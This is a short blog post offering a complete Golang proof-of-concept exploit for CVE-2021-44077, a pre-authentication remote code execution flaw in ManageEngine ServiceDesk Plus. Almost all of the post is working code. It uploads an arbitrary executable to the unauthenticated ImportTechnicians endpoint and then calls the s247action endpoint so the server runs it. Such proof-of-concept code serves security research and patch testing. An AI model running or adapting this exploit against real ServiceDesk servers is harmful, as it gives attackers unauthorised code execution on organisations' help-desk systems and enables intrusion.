Tag Archives: SERVICEDESK

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}